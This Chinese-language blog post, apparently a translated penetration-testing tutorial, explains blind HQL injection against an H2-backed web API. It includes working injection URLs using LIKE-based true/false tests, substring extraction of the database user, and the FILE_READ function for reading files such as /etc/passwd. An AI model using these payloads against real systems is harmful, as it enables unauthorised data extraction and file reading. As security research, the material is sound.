H2是一个短小精干的嵌入式数据库引擎,主要的特性包括:
免费、开源、快速
嵌入式的数据库服务器,支持集群(题外话:不知道谁会拿这样的数据库做集群)
提供JDBC、ODBC访问接口,提供基于浏览器的控制台管理程序
Java编写,可使用GCJ和IKVM.NET编译
短小精干的软件,1M左右。
本文描述了我最近研究的关于使用H2作为数据库管理系统时进行HQL盲注的一些内容。读者最好先读一下这篇文章,了解HQL注入的相关知识。
在研究过程中,我使用Burp作为代理检查了一些API调用,其中一个调用是:
http://application/API/Users/?req=id=1
其输出是一个JSON响应,例如:
[{user: "admin", id: "1",firstName:"Admin"}]
将id的值修改为2或其它数值也可以正常输出。
在后台系统,其请求应该类似如下这样:
select * from users where id = &'<id>'
通过插入一个单引号字符,使其产生了一个异常,并获取到了一个SQL声明。不错,这样就可以与它愉快地玩耍了。
系统禁止了一些特殊字符与双字(word)如’=’等,但仍可以使用’LIKE’操作符。之后,我插入了一句类似如下的条件判断,看系统如何反应:
http://application/API/Users/?req=id=1' AND '1' LIKE '1
其输出也一样:
[{user: "admin", id: "1",firstName:"Admin"}]
不过,如果条件判断失败,如:
http://application/API/Users/?req=id=1' AND '1' LIKE '2
JSON响应就是空的:
[]
即,如果条件判断为错,输出就是空的。
HQL盲注与一般的SQL盲注类似,但由于HQL语法的原因,多少还是有些限制。另外,其利用技术取决于后台的数据库管理系统,例如,使用H2数据库的网站就可能存在这种问题。
基本上,攻击者要做的就是:
- 暴力列举数据表与列 - 使用内置函数
这里我列出了一些(有用的)内置函数:
- user():返回用户 - database_path():返回数据库在文件系统中的路径 - FILE_READ(FILE, NULL):读取文件系统中的FILE文件(如/etc/passwd)
例如,我可以用以下方式检索当前用户:
首先,获取用户名的长度:
http://application/API/Users/?req=id=1' AND length(user())LIKE '2
之后重复使用substring()函数对每个字符用LIKE操作符进行判断:
ttp://application/API/Users/?req=id=1' AND substring(user(),1,1) LIKE 'S
当然,提取这些信息的过程可能很长,稍后我会更新我的项目HQLmap Project,使其能自动处理这些工作(目前该项目已经能够支持HQL注入了)。
希望该项目在各位读者的渗透测试过程中能够有所帮助。